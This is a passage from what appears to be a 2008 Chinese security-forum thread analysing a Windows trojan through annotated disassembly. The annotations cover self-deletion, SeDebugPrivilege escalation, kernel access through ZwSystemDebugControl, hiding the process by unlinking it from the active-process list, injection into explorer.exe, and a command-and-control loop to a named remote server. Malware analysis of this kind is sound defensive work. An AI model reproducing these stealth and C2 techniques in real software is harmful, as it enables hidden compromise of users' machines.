00404090    8D85 FCFEFFFF   LEA EAX,DWORD PTR SS:[EBP-104]
00404096    50              PUSH EAX                                 ; |src = "C:\DOCUME~1\CODERU~1\桌面\VIRUS.EXE"
00404097    8D85 F8FDFFFF   LEA EAX,DWORD PTR SS:[EBP-208]
0040409D    50              PUSH EAX                                 ; |dest = "/c del "
0040409E    E8 8B2F0000     CALL misfotos.0040702E                   ; JMP 到 msvcrt.strncat
004040A3    83C4 0C         ADD ESP,0C
004040A6    68 04010000     PUSH 104                                   /maxlen = 104 (260.)
004040AB    68 489E4000     PUSH misfotos.00409E48                   ; |src = " > nul"
004040B0    8D85 F8FDFFFF   LEA EAX,DWORD PTR SS:[EBP-208]
004040B6    50              PUSH EAX                                 ; |dest = "/c del C:\DOCUME~1\CODERU~1\桌面\VIRUS.EXE"
004040B7    E8 722F0000     CALL misfotos.0040702E                   ; JMP 到 msvcrt.strncat
004040BC    83C4 0C         ADD ESP,0C
004040BF    C785 BCFDFFFF 3>MOV DWORD PTR SS:[EBP-244],3C
004040C9    83A5 C4FDFFFF 0>AND DWORD PTR SS:[EBP-23C],0
004040D0    C785 C8FDFFFF 5>MOV DWORD PTR SS:[EBP-238],misfotos.0040>; open
004040DA    8D85 B8FCFFFF   LEA EAX,DWORD PTR SS:[EBP-348]
004040E0    8985 CCFDFFFF   MOV DWORD PTR SS:[EBP-234],EAX
004040E6    8D85 F8FDFFFF   LEA EAX,DWORD PTR SS:[EBP-208]
004040EC    8985 D0FDFFFF   MOV DWORD PTR SS:[EBP-230],EAX
004040F2    83A5 D4FDFFFF 0>AND DWORD PTR SS:[EBP-22C],0
004040F9    83A5 D8FDFFFF 0>AND DWORD PTR SS:[EBP-228],0
00404100    C785 C0FDFFFF 4>MOV DWORD PTR SS:[EBP-240],40
0040410A    68 00010000     PUSH 100
0040410F    FF15 C8804000   CALL DWORD PTR DS:[4080C8]               ; kernel32.GetCurrentProcess
00404115    50              PUSH EAX                                 ; hProcess = FFFFFFFF
00404116    FF15 C4804000   CALL DWORD PTR DS:[4080C4]               ; kernel32.SetPriorityClass
0040411C    6A 0F           PUSH 0F
0040411E    FF15 C0804000   CALL DWORD PTR DS:[4080C0]               ; kernel32.GetCurrentThread
00404124    50              PUSH EAX
00404125    FF15 BC804000   CALL DWORD PTR DS:[4080BC]               ; kernel32.SetThreadPriority
0040412B    8D85 BCFDFFFF   LEA EAX,DWORD PTR SS:[EBP-244]
00404131    50              PUSH EAX
00404132    FF15 78814000   CALL DWORD PTR DS:[408178]               ; SHELL32.ShellExecuteExA(调用运行控制台程序执行命令).
00404138    6A 40           PUSH 40                                  ; Priority = IDLE_PRIORITY_CLASS
0040413A    FFB5 F4FDFFFF   PUSH DWORD PTR SS:[EBP-20C]
00404140    FF15 C4804000   CALL DWORD PTR DS:[4080C4]               ; kernel32.SetPriorityClass
00404146    6A 01           PUSH 1
00404148    FFB5 F4FDFFFF   PUSH DWORD PTR SS:[EBP-20C]
0040414E    FF15 B8804000   CALL DWORD PTR DS:[4080B8]               ; kernel32.SetProcessPriorityBoost
00404154    6A 00           PUSH 0
00404156    8D85 FCFEFFFF   LEA EAX,DWORD PTR SS:[EBP-104]
0040415C    50              PUSH EAX
0040415D    6A 01           PUSH 1
0040415F    6A 04           PUSH 4
00404161    FF15 70814000   CALL DWORD PTR DS:[408170]               ; SHELL32.SHChangeNotify
00404167    6A 00           PUSH 0                                   ; /status = 0
00404169    E8 22300000     CALL misfotos.00407190                   ; JMP 到 msvcrt.exit(关闭退出).
0040416E    C9              LEAVE
0040416F    C3              RETN                                     ; 返回.
----------------------------------------------------------------------------------------------------

该用户从未签到

 楼主| 发表于 2008-6-15 12:53:15 | 显示全部楼层
----------------------------------------------------------------------------------------------------
2、当样本执行恶意操作时的分析:

00402D14    FF15 88804000   CALL DWORD PTR DS:[408088]               ; ntdll.RtlGetLastWin32Error(如果s2 == s1,则该病毒程序从这里开始执行恶意操作.)
00402D1A    3D B7000000     CMP EAX,0B7                              ; EAX = 0x51D
00402D1F    75 08           JNZ SHORT waccs.00402D29                 ; 条件判断.
00402D21    6A 00           PUSH 0
00402D23    FF15 84804000   CALL DWORD PTR DS:[408084]               ; kernel32.ExitProcess(不满足条件则关闭退出).
00402D29    8D85 54FCFFFF   LEA EAX,DWORD PTR SS:[EBP-3AC]
00402D2F    50              PUSH EAX                                 ; /pWSAData = 0012FC14
00402D30    68 02020000     PUSH 202                                 ; |RequestedVersion = 202 (2.2.)
00402D35    FF15 DC814000   CALL DWORD PTR DS:[4081DC]               ; WS2_32.WSAStartup(定义协议WinSock 2.0).
00402D3B    85C0            TEST EAX,EAX                             ; 判断是否定义成功.
00402D3D    74 1E           JE SHORT waccs.00402D5D                  ; 如果失败则执行下边代码,定义协议WinSock 1.0.
00402D3F    8D85 54FCFFFF   LEA EAX,DWORD PTR SS:[EBP-3AC]
00402D45    50              PUSH EAX
00402D46    68 01010000     PUSH 101
00402D4B    FF15 DC814000   CALL DWORD PTR DS:[4081DC]               ; WS2_32.WSAStartup(定义协议WinSock 1.0).
00402D51    85C0            TEST EAX,EAX                             ; 判断是否定义成功.
00402D53    74 08           JE SHORT waccs.00402D5D                  ; 如果失败则执行下边代码,关闭退出.
00402D55    6A 01           PUSH 1
00402D57    FF15 84804000   CALL DWORD PTR DS:[408084]               ; kernel32.ExitProcess(关闭退出).
00402D5D    8D85 4CFCFFFF   LEA EAX,DWORD PTR SS:[EBP-3B4]
00402D63    50              PUSH EAX
00402D64    8D85 B0F9FFFF   LEA EAX,DWORD PTR SS:[EBP-650]
00402D6A    50              PUSH EAX
00402D6B    8D85 48FCFFFF   LEA EAX,DWORD PTR SS:[EBP-3B8]
00402D71    50              PUSH EAX
00402D72    E8 2D120000     CALL waccs.00403FA4                      ; 获得操作系统版本号.
00402D77    83C4 0C         ADD ESP,0C
00402D7A    83BD 48FCFFFF 0>CMP DWORD PTR SS:[EBP-3B8],5             ; 规范范围
00402D81    75 31           JNZ SHORT waccs.00402DB4                 ; 如果系统版本不符合,则不执行"进程隐藏"操作.
00402D83    83BD B0F9FFFF 0>CMP DWORD PTR SS:[EBP-650],1             ; 规范范围
00402D8A    75 28           JNZ SHORT waccs.00402DB4                 ; 如果系统版本不符合,则不执行"进程隐藏"操作.
00402D8C    8D8D 98F8FFFF   LEA ECX,DWORD PTR SS:[EBP-768]
00402D92    E8 15380000     CALL waccs.004065AC                      ; 提升自身进程权限为"SeDebugPrivilege"权限,列举进程的内核模块,得到"ntkrnlpa.exe"模块,导出"PsInitialSystemProcess"函数,调用ZwSystemDebugControl进入Ring0.
00402D97    FF15 80804000   CALL DWORD PTR DS:[408080]               ; kernel32.GetCurrentProcessId(得到当前进程的ID).
00402D9D    50              PUSH EAX
00402D9E    8D8D 98F8FFFF   LEA ECX,DWORD PTR SS:[EBP-768]
00402DA4    E8 AC360000     CALL waccs.00406455                      ; RRING3下实现进程隐藏(删除活动进程链表实现进程隐藏).
00402DA9    8D8D 98F8FFFF   LEA ECX,DWORD PTR SS:[EBP-768]
00402DAF    E8 E6380000     CALL waccs.0040669A                      ; 释放内存资源.
00402DB4    68 B581D32E     PUSH 2ED381B5
00402DB9    8D8D 70F8FFFF   LEA ECX,DWORD PTR SS:[EBP-790]
00402DBF    E8 0C030000     CALL waccs.004030D0                      ; ASCII "t3x0"
00402DC4    50              PUSH EAX                                 ; ASCII "t3x0"
00402DC5    6A 00           PUSH 0
00402DC7    6A 00           PUSH 0
00402DC9    FF15 7C804000   CALL DWORD PTR DS:[40807C]               ; kernel32.CreateMutexA(创建一个互斥体"t3x0").
00402DCF    A3 D4A04000     MOV DWORD PTR DS:[40A0D4],EAX
00402DD4    8D8D 70F8FFFF   LEA ECX,DWORD PTR SS:[EBP-790]
00402DDA    E8 47F2FFFF     CALL waccs.00402026                      ; 清除内存数据.
00402DDF    68 BD81D32E     PUSH 2ED381BD
00402DE4    8D8D 68F8FFFF   LEA ECX,DWORD PTR SS:[EBP-798]
00402DEA    E8 E1020000     CALL waccs.004030D0                      ; ASCII "t3x0"
00402DEF    50              PUSH EAX
00402DF0    E8 1B270000     CALL waccs.00405510                      ;向系统桌面程序“explorer.exe”进程内存空间中注入恶意代码,执行进程守护功能.
00402DF5    59              POP ECX
00402DF6    A3 D8A04000     MOV DWORD PTR DS:[40A0D8],EAX
00402DFB    8D8D 68F8FFFF   LEA ECX,DWORD PTR SS:[EBP-798]
00402E01    E8 20F2FFFF     CALL waccs.00402026                      ; 清除内存数据.
00402E06    68 18010000     PUSH 118
00402E0B    6A 00           PUSH 0
00402E0D    8D85 E4FDFFFF   LEA EAX,DWORD PTR SS:[EBP-21C]
00402E13    50              PUSH EAX
00402E14    E8 21420000     CALL waccs.0040703A                      ; JMP 到 msvcrt.memset
00402E19    83C4 0C         ADD ESP,0C
00402E1C    68 10270000     PUSH 2710
00402E21    68 9B15572C     PUSH 2C57159B
00402E26    8D8D 5CF8FFFF   LEA ECX,DWORD PTR SS:[EBP-7A4]
00402E2C    E8 FF020000     CALL waccs.00403130                      ; ASCII "$msr"
00402E31    50              PUSH EAX                                 ; /MutexName = "$msr"
00402E32    6A 00           PUSH 0                                   ; |InitialOwner = FALSE
00402E34    6A 00           PUSH 0                                   ; |pSecurity = NULL
00402E36    FF15 7C804000   CALL DWORD PTR DS:[40807C]               ; kernel32.CreateMutexA
00402E3C    8985 F0FEFFFF   MOV DWORD PTR SS:[EBP-110],EAX
00402E42    FFB5 F0FEFFFF   PUSH DWORD PTR SS:[EBP-110]
00402E48    FF15 78804000   CALL DWORD PTR DS:[408078]               ; kernel32.WaitForSingleObject
00402E4E    2D 02010000     SUB EAX,102
00402E53    F7D8            NEG EAX
00402E55    1BC0            SBB EAX,EAX
00402E57    40              INC EAX
00402E58    8885 64F8FFFF   MOV BYTE PTR SS:[EBP-79C],AL
00402E5E    8D8D 5CF8FFFF   LEA ECX,DWORD PTR SS:[EBP-7A4]
00402E64    E8 BDF1FFFF     CALL waccs.00402026                      ; 清除内存数据.
00402E69    0FB685 64F8FFFF MOVZX EAX,BYTE PTR SS:[EBP-79C]
00402E70    85C0            TEST EAX,EAX
00402E72    74 05           JE SHORT waccs.00402E79
00402E74    E8 2F420000     CALL waccs.004070A8                      ; JMP 到 msvcrt._endthread
00402E79    8D85 B8FAFFFF   LEA EAX,DWORD PTR SS:[EBP-548]
00402E7F    50              PUSH EAX                                 ; /pWSAData = 0012FA78
00402E80    68 02020000     PUSH 202                                 ; |RequestedVersion = 202 (2.2.)
00402E85    FF15 DC814000   CALL DWORD PTR DS:[4081DC]               ; WS2_32.WSAStartup(定义协议WinSock 2.0).
00402E8B    83A5 50FCFFFF 0>AND DWORD PTR SS:[EBP-3B0],0
00402E92    6A 19           PUSH 19                                  ; /maxlen = 19 (25.)
00402E94    68 6A2A944C     PUSH 4C942A6A
00402E99    8D8D 50F8FFFF   LEA ECX,DWORD PTR SS:[EBP-7B0]
00402E9F    E8 EC020000     CALL waccs.00403190                      ; ASCII "##ghetto##"
00402EA4    50              PUSH EAX                                 ; |src = "##ghetto##"
00402EA5    8D85 85FEFFFF   LEA EAX,DWORD PTR SS:[EBP-17B]
00402EAB    50              PUSH EAX                                 ; |dest = 0012FE45
00402EAC    E8 EB410000     CALL waccs.0040709C                      ; JMP 到 msvcrt.strncpy
00402EB1    83C4 0C         ADD ESP,0C
00402EB4    8D8D 50F8FFFF   LEA ECX,DWORD PTR SS:[EBP-7B0]
00402EBA    E8 B7F1FFFF     CALL waccs.00402076                      ; 清除内存数据.
00402EBF    6A 19           PUSH 19                                  ; /maxlen = 19 (25.)
00402EC1    68 75F453B3     PUSH B353F475
00402EC6    8D8D 48F8FFFF   LEA ECX,DWORD PTR SS:[EBP-7B8]
00402ECC    E8 1F030000     CALL waccs.004031F0                      ; ASCII "3atsh1t"
00402ED1    50              PUSH EAX                                 ; |src = "3atsh1t"
00402ED2    8D85 9EFEFFFF   LEA EAX,DWORD PTR SS:[EBP-162]
00402ED8    50              PUSH EAX                                 ; |dest = 0012FE5E
00402ED9    E8 BE410000     CALL waccs.0040709C                      ; JMP 到 msvcrt.strncpy
00402EDE    83C4 0C         ADD ESP,0C
00402EE1    8D8D 48F8FFFF   LEA ECX,DWORD PTR SS:[EBP-7B8]
00402EE7    E8 EAF0FFFF     CALL waccs.00401FD6                      ; 清除内存数据.
00402EEC    6A 19           PUSH 19                                  ; /maxlen = 19 (25.)
00402EEE    68 36A1576B     PUSH 6B57A136
00402EF3    8D8D 38F8FFFF   LEA ECX,DWORD PTR SS:[EBP-7C8]
00402EF9    E8 52030000     CALL waccs.00403250                      ; ASCII "##ghetto-s##"
00402EFE    50              PUSH EAX                                 ; |src = "##ghetto-s##"
00402EFF    8D85 B7FEFFFF   LEA EAX,DWORD PTR SS:[EBP-149]
00402F05    50              PUSH EAX                                 ; |dest = 0012FE77
00402F06    E8 91410000     CALL waccs.0040709C                      ; JMP 到 msvcrt.strncpy
00402F0B    83C4 0C         ADD ESP,0C
00402F0E    8D8D 38F8FFFF   LEA ECX,DWORD PTR SS:[EBP-7C8]
00402F14    E8 CF000000     CALL waccs.00402FE8                      ; 清除内存数据.
00402F19    6A 01           PUSH 1
00402F1B    58              POP EAX
00402F1C    85C0            TEST EAX,EAX
00402F1E    0F84 BD000000   JE waccs.00402FE1
00402F24    68 80000000     PUSH 80                                  ; /maxlen = 80 (128.)
00402F29    68 C8F8D8A9     PUSH A9D8F8C8
00402F2E    8D8D 24F8FFFF   LEA ECX,DWORD PTR SS:[EBP-7DC]
00402F34    E8 77030000     CALL waccs.004032B0                      ; ASCII "secure.freebsd.la"(骇客定义的远程服务器域名地址,加密存放).
00402F39    50              PUSH EAX                                 ; |src = "secure.freebsd.la"
00402F3A    8D85 E8FDFFFF   LEA EAX,DWORD PTR SS:[EBP-218]
00402F40    50              PUSH EAX                                 ; |dest = 0012FDA8
00402F41    E8 56410000     CALL waccs.0040709C                      ; JMP 到 msvcrt.strncpy
00402F46    83C4 0C         ADD ESP,0C
00402F49    8D8D 24F8FFFF   LEA ECX,DWORD PTR SS:[EBP-7DC]
00402F4F    E8 92EFFFFF     CALL waccs.00401EE6                      ; 清除内存数据.
00402F54    6A 19           PUSH 19                                  ; maxlen = 19 (25.)
00402F56    68 24DC4A5C     PUSH 5C4ADC24
00402F5B    8D8D 1CF8FFFF   LEA ECX,DWORD PTR SS:[EBP-7E4]
00402F61    E8 AA030000     CALL waccs.00403310                      ; ASCII "su1c1d3"
00402F66    50              PUSH EAX                                 ; |src = "su1c1d3"
00402F67    8D85 6CFEFFFF   LEA EAX,DWORD PTR SS:[EBP-194]
00402F6D    50              PUSH EAX                                 ; |dest = 0012FE2C
00402F6E    E8 29410000     CALL waccs.0040709C                      ; JMP 到 msvcrt.strncpy
00402F73    83C4 0C         ADD ESP,0C
00402F76    8D8D 1CF8FFFF   LEA ECX,DWORD PTR SS:[EBP-7E4]
00402F7C    E8 55F0FFFF     CALL waccs.00401FD6                      ; 清除内存数据.
00402F81    C785 68FEFFFF 4>MOV DWORD PTR SS:[EBP-198],2646
00402F8B    8D85 E4FDFFFF   LEA EAX,DWORD PTR SS:[EBP-21C]
00402F91    50              PUSH EAX
00402F92    E8 13E1FFFF     CALL waccs.004010AA                      ; 连接骇客远程服务器"http://www.secure.freebsd.la".
00402F97    59              POP ECX
00402F98    0FB6C0          MOVZX EAX,AL
00402F9B    85C0            TEST EAX,EAX
00402F9D    74 32           JE SHORT waccs.00402FD1                  ; 判断是否连接成功,
00402F9F    8D85 E4FDFFFF   LEA EAX,DWORD PTR SS:[EBP-21C]
00402FA5    50              PUSH EAX
00402FA6    E8 98E1FFFF     CALL waccs.00401143                      ; 查找系统中是否运行某些通讯工具(可能会利用这些通讯工具发布广告、进行自我传播以及窃取其帐号密码信息等操作),并构造发送数据包(多种包格式/与骇客远程服务器进行秘密通信).
00402FAB    59              POP ECX
00402FAC    0FB6C0          MOVZX EAX,AL
00402FAF    85C0            TEST EAX,EAX
00402FB1    74 1E           JE SHORT waccs.00402FD1
00402FB3    8D85 E4FDFFFF   LEA EAX,DWORD PTR SS:[EBP-21C]
00402FB9    50              PUSH EAX
00402FBA    E8 4AE5FFFF     CALL waccs.00401509                      ; 接收从骇客服务器返回的数据包,根据包中骇客定义好的“指令”执行相应的恶意操作.
00402FBF    59              POP ECX
00402FC0    0FB6C0          MOVZX EAX,AL
00402FC3    85C0            TEST EAX,EAX
00402FC5    74 0A           JE SHORT waccs.00402FD1
00402FC7    6A 0A           PUSH 0A                                  ; /Timeout = 10. ms
00402FC9    FF15 6C804000   CALL DWORD PTR DS:[40806C]               ; kernel32.Sleep(等待10毫秒).
00402FCF ^ EB E2           JMP SHORT waccs.00402FB3                 ; 循环执行上边的代码(00402FB3-00402FCF),接收从骇客服务器返回的数据包,根据包中骇客定义好的“指令”执行相应的恶意操作.
00402FD1    68 30750000     PUSH 7530                                ; /Timeout = 30000. ms
00402FD6    FF15 6C804000   CALL DWORD PTR DS:[40806C]               ; kernel32.Sleep(等待30000毫秒).
00402FDC ^ E9 38FFFFFF     JMP waccs.00402F19                       ; 循环执行上边的代码(00402F19-00402FDC),进行与骇客指定的远程服务器进行秘密通信(向骇客服务器发送数据包).
00402FE1    E8 C2400000     CALL waccs.004070A8                      ; JMP 到 msvcrt._endthread
00402FE6    C9              LEAVE
00402FE7    C3              RETN                                     ; 返回.
----------------------------------------------------------------------------------------------------

该用户从未签到

 楼主| 发表于 2008-6-15 12:54:00 | 显示全部楼层
----------------------------------------------------------------------------------------------------
获得操作系统版本号:
00403FA4    55              PUSH EBP
00403FA5    8BEC            MOV EBP,ESP
00403FA7    81EC 9C000000   SUB ESP,9C
00403FAD    C785 64FFFFFF 9>MOV DWORD PTR SS:[EBP-9C],9C
00403FB7    8D85 64FFFFFF   LEA EAX,DWORD PTR SS:[EBP-9C]
00403FBD    50              PUSH EAX
00403FBE    FF15 B0804000   CALL DWORD PTR DS:[4080B0]               ; kernel32.GetVersionExA(获取当前操作系统版本号信息).
00403FC4    85C0            TEST EAX,EAX
00403FC6    75 04           JNZ SHORT waccs.00403FCC                 ; 判断是否成功.
00403FC8    32C0            XOR AL,AL
00403FCA    EB 21           JMP SHORT waccs.00403FED
00403FCC    8B45 08         MOV EAX,DWORD PTR SS:[EBP+8]
00403FCF    8B8D 68FFFFFF   MOV ECX,DWORD PTR SS:[EBP-98]
00403FD5    8908            MOV DWORD PTR DS:[EAX],ECX
00403FD7    8B45 0C         MOV EAX,DWORD PTR SS:[EBP+C]
00403FDA    8B8D 6CFFFFFF   MOV ECX,DWORD PTR SS:[EBP-94]
00403FE0    8908            MOV DWORD PTR DS:[EAX],ECX
00403FE2    0FB745 F8       MOVZX EAX,WORD PTR SS:[EBP-8]
00403FE6    8B4D 10         MOV ECX,DWORD PTR SS:[EBP+10]
00403FE9    8901            MOV DWORD PTR DS:[ECX],EAX
00403FEB    B0 01           MOV AL,1
00403FED    C9              LEAVE
00403FEE    C3              RETN                                     ; 返回.
提升自身进程权限为"SeDebugPrivilege"权限,列举进程的内核模块,得到"ntkrnlpa.exe"模块,导出"PsInitialSystemProcess"函数,调用ZwSystemDebugControl进入Ring0:
004065AC    55              PUSH EBP
004065AD    8BEC            MOV EBP,ESP
004065AF    81EC 30010000   SUB ESP,130
004065B5    898D D4FEFFFF   MOV DWORD PTR SS:[EBP-12C],ECX
004065BB    6A 01           PUSH 1
004065BD    E8 E00B0000     CALL waccs.004071A2                      ; JMP 到 msvcrt.??2@YAPAXI@Z
004065C2    83C4 04         ADD ESP,4
004065C5    8985 F0FEFFFF   MOV DWORD PTR SS:[EBP-110],EAX
004065CB    83BD F0FEFFFF 0>CMP DWORD PTR SS:[EBP-110],0
004065D2    74 13           JE SHORT waccs.004065E7
004065D4    8B8D F0FEFFFF   MOV ECX,DWORD PTR SS:[EBP-110]
004065DA    E8 A1F7FFFF     CALL waccs.00405D80                      ; 提升自身进程权限为"SeDebugPrivilege"权限.
004065DF    8985 D0FEFFFF   MOV DWORD PTR SS:[EBP-130],EAX
004065E5    EB 0A           JMP SHORT waccs.004065F1
004065E7    C785 D0FEFFFF 0>MOV DWORD PTR SS:[EBP-130],0
004065F1    8B85 D4FEFFFF   MOV EAX,DWORD PTR SS:[EBP-12C]
004065F7    8B8D D0FEFFFF   MOV ECX,DWORD PTR SS:[EBP-130]
004065FD    8908            MOV DWORD PTR DS:[EAX],ECX
004065FF    8D95 00FFFFFF   LEA EDX,DWORD PTR SS:[EBP-100]
00406605    52              PUSH EDX
00406606    8D85 F4FEFFFF   LEA EAX,DWORD PTR SS:[EBP-10C]
0040660C    50              PUSH EAX
0040660D    8B8D D4FEFFFF   MOV ECX,DWORD PTR SS:[EBP-12C]
00406613    E8 77FDFFFF     CALL waccs.0040638F                      ; 列举进程的内核模块,得到"ntkrnlpa.exe"模块.
00406618    8D8D 00FFFFFF   LEA ECX,DWORD PTR SS:[EBP-100]
0040661E    51              PUSH ECX                                 ; /FileName = "ntkrnlpa.exe"
0040661F    FF15 40804000   CALL DWORD PTR DS:[408040]               ; kernel32.LoadLibraryA(加载"ntkrnlpa.exe").
00406625    8985 F8FEFFFF   MOV DWORD PTR SS:[EBP-108],EAX
0040662B    68 99C8E33A     PUSH 3AE3C899
00406630    8D8D D8FEFFFF   LEA ECX,DWORD PTR SS:[EBP-128]
00406636    E8 15020000     CALL waccs.00406850                      ; ASCII "PsInitialSystemProcess"
0040663B    50              PUSH EAX                                 ; /ProcNameOrOrdinal = "PsInitialSystemProcess"
0040663C    8B95 F8FEFFFF   MOV EDX,DWORD PTR SS:[EBP-108]
00406642    52              PUSH EDX                                 ; |hModule = 009B0000 (ntkrnlpa)
00406643    FF15 44804000   CALL DWORD PTR DS:[408044]               ; kernel32.GetProcAddress(导出"PsInitialSystemProcess"函数).
00406649    8985 FCFEFFFF   MOV DWORD PTR SS:[EBP-104],EAX
0040664F    8D8D D8FEFFFF   LEA ECX,DWORD PTR SS:[EBP-128]
00406655    E8 C6000000     CALL waccs.00406720                      ; 清除内存数据.
0040665A    8B85 FCFEFFFF   MOV EAX,DWORD PTR SS:[EBP-104]
00406660    2B85 F8FEFFFF   SUB EAX,DWORD PTR SS:[EBP-108]
00406666    0385 F4FEFFFF   ADD EAX,DWORD PTR SS:[EBP-10C]
0040666C    50              PUSH EAX
0040666D    8B8D D4FEFFFF   MOV ECX,DWORD PTR SS:[EBP-12C]
00406673    8B09            MOV ECX,DWORD PTR DS:[ECX]
00406675    E8 5EF7FFFF     CALL waccs.00405DD8                      ; 调用ZwSystemDebugControl进入Ring0.
0040667A    8B95 D4FEFFFF   MOV EDX,DWORD PTR SS:[EBP-12C]
00406680    8942 04         MOV DWORD PTR DS:[EDX+4],EAX
00406683    8B85 F8FEFFFF   MOV EAX,DWORD PTR SS:[EBP-108]
00406689    50              PUSH EAX
0040668A    FF15 3C804000   CALL DWORD PTR DS:[40803C]               ; kernel32.FreeLibrary(卸载对"ntkrnlpa.exe"的调用).
00406690    8B85 D4FEFFFF   MOV EAX,DWORD PTR SS:[EBP-12C]
00406696    8BE5            MOV ESP,EBP
00406698    5D              POP EBP
00406699    C3              RETN                                     ; 返回.


提升自身进程权限为"SeDebugPrivilege"权限:
00405D80    55              PUSH EBP
00405D81    8BEC            MOV EBP,ESP
00405D83    83EC 18         SUB ESP,18
00405D86    894D E8         MOV DWORD PTR SS:[EBP-18],ECX
00405D89    8D45 EC         LEA EAX,DWORD PTR SS:[EBP-14]
00405D8C    50              PUSH EAX
00405D8D    6A 28           PUSH 28
00405D8F    FF15 C8804000   CALL DWORD PTR DS:[4080C8]               ; kernel32.GetCurrentProcess
00405D95    50              PUSH EAX
00405D96    FF15 14804000   CALL DWORD PTR DS:[408014]               ; ADVAPI32.OpenProcessToken
00405D9C    C745 F0 0100000>MOV DWORD PTR SS:[EBP-10],1
00405DA3    C745 FC 0200000>MOV DWORD PTR SS:[EBP-4],2
00405DAA    8D4D F4         LEA ECX,DWORD PTR SS:[EBP-C]
00405DAD    51              PUSH ECX
00405DAE    68 20A04000     PUSH waccs.0040A020                      ; ASCII "SeDebugPrivilege"
00405DB3    6A 00           PUSH 0
00405DB5    FF15 10804000   CALL DWORD PTR DS:[408010]               ; ADVAPI32.LookupPrivilegeValueA
00405DBB    6A 00           PUSH 0
00405DBD    6A 00           PUSH 0
00405DBF    6A 10           PUSH 10
00405DC1    8D55 F0         LEA EDX,DWORD PTR SS:[EBP-10]
00405DC4    52              PUSH EDX
00405DC5    6A 00           PUSH 0
00405DC7    8B45 EC         MOV EAX,DWORD PTR SS:[EBP-14]
00405DCA    50              PUSH EAX
00405DCB    FF15 0C804000   CALL DWORD PTR DS:[40800C]               ; ADVAPI32.AdjustTokenPrivileges
00405DD1    8B45 E8         MOV EAX,DWORD PTR SS:[EBP-18]
00405DD4    8BE5            MOV ESP,EBP
00405DD6    5D              POP EBP
00405DD7    C3              RETN                                     ; 返回.


列举进程的内核模块,得到"ntkrnlpa.exe"模块:
0040638F    55              PUSH EBP
00406390    8BEC            MOV EBP,ESP
00406392    81EC 38010000   SUB ESP,138
00406398    56              PUSH ESI
00406399    57              PUSH EDI
0040639A    898D C8FEFFFF   MOV DWORD PTR SS:[EBP-138],ECX
004063A0    C745 FC 2001000>MOV DWORD PTR SS:[EBP-4],120
004063A7    8D45 FC         LEA EAX,DWORD PTR SS:[EBP-4]
004063AA    50              PUSH EAX
004063AB    6A 00           PUSH 0
004063AD    6A 00           PUSH 0
004063AF    6A 0B           PUSH 0B
004063B1    FF15 F4814000   CALL DWORD PTR DS:[4081F4]               ; ntdll.ZwQuerySystemInformation
004063B7    8945 F8         MOV DWORD PTR SS:[EBP-8],EAX
004063BA    8B4D FC         MOV ECX,DWORD PTR SS:[EBP-4]
004063BD    51              PUSH ECX
004063BE    E8 DF0D0000     CALL waccs.004071A2                      ; JMP 到 msvcrt.??2@YAPAXI@Z
004063C3    83C4 04         ADD ESP,4
004063C6    8985 D0FEFFFF   MOV DWORD PTR SS:[EBP-130],EAX
004063CC    8B95 D0FEFFFF   MOV EDX,DWORD PTR SS:[EBP-130]
004063D2    8955 F4         MOV DWORD PTR SS:[EBP-C],EDX
004063D5    6A 00           PUSH 0
004063D7    8B45 FC         MOV EAX,DWORD PTR SS:[EBP-4]
004063DA    50              PUSH EAX
004063DB    8B4D F4         MOV ECX,DWORD PTR SS:[EBP-C]
004063DE    51              PUSH ECX
004063DF    6A 0B           PUSH 0B
004063E1    FF15 F4814000   CALL DWORD PTR DS:[4081F4]               ; ntdll.ZwQuerySystemInformation
004063E7    8B75 F4         MOV ESI,DWORD PTR SS:[EBP-C]
004063EA    B9 48000000     MOV ECX,48
004063EF    8DBD D4FEFFFF   LEA EDI,DWORD PTR SS:[EBP-12C]
004063F5    F3:A5           REP MOVS DWORD PTR ES:[EDI],DWORD PTR DS>
004063F7    8B55 F4         MOV EDX,DWORD PTR SS:[EBP-C]
004063FA    8995 CCFEFFFF   MOV DWORD PTR SS:[EBP-134],EDX
00406400    8B85 CCFEFFFF   MOV EAX,DWORD PTR SS:[EBP-134]
00406406    50              PUSH EAX
00406407    E8 9C0D0000     CALL waccs.004071A8                      ; JMP 到 msvcrt.??3@YAXPAX@Z
0040640C    83C4 04         ADD ESP,4
0040640F    8B4D 08         MOV ECX,DWORD PTR SS:[EBP+8]
00406412    8B95 E0FEFFFF   MOV EDX,DWORD PTR SS:[EBP-120]
00406418    8911            MOV DWORD PTR DS:[ECX],EDX
0040641A    8B85 F2FEFFFF   MOV EAX,DWORD PTR SS:[EBP-10E]
00406420    25 FFFF0000     AND EAX,0FFFF
00406425    B9 00010000     MOV ECX,100
0040642A    2BC8            SUB ECX,EAX
0040642C    51              PUSH ECX
0040642D    8B95 F2FEFFFF   MOV EDX,DWORD PTR SS:[EBP-10E]
00406433    81E2 FFFF0000   AND EDX,0FFFF
00406439    8D8415 F4FEFFFF LEA EAX,DWORD PTR SS:[EBP+EDX-10C]
00406440    50              PUSH EAX
00406441    8B4D 0C         MOV ECX,DWORD PTR SS:[EBP+C]
00406444    51              PUSH ECX
00406445    E8 520D0000     CALL waccs.0040719C                      ; JMP 到 msvcrt.memcpy
0040644A    83C4 0C         ADD ESP,0C
0040644D    5F              POP EDI
0040644E    5E              POP ESI
0040644F    8BE5            MOV ESP,EBP
00406451    5D              POP EBP
00406452    C2 0800         RETN 8                                   ; 返回.


RING3下实现进程隐藏(删除活动进程链表实现进程隐藏):
00406455    55              PUSH EBP
00406456    8BEC            MOV EBP,ESP
00406458    83EC 1C         SUB ESP,1C
0040645B    894D E4         MOV DWORD PTR SS:[EBP-1C],ECX
0040645E    8B45 E4         MOV EAX,DWORD PTR SS:[EBP-1C]
00406461    8B48 04         MOV ECX,DWORD PTR DS:[EAX+4]
00406464    894D F4         MOV DWORD PTR SS:[EBP-C],ECX
00406467    8B55 E4         MOV EDX,DWORD PTR SS:[EBP-1C]
0040646A    C742 08 8800000>MOV DWORD PTR DS:[EDX+8],88
00406471    8B45 E4         MOV EAX,DWORD PTR SS:[EBP-1C]
00406474    C740 0C 8400000>MOV DWORD PTR DS:[EAX+C],84
0040647B    8B4D E4         MOV ECX,DWORD PTR SS:[EBP-1C]
0040647E    8B55 F4         MOV EDX,DWORD PTR SS:[EBP-C]
00406481    0351 08         ADD EDX,DWORD PTR DS:[ECX+8]
00406484    52              PUSH EDX
00406485    8B45 E4         MOV EAX,DWORD PTR SS:[EBP-1C]
00406488    8B08            MOV ECX,DWORD PTR DS:[EAX]
0040648A    E8 49F9FFFF     CALL waccs.00405DD8                      ; 调用ZwSystemDebugControl进入Ring0.
0040648F    8B4D E4         MOV ECX,DWORD PTR SS:[EBP-1C]
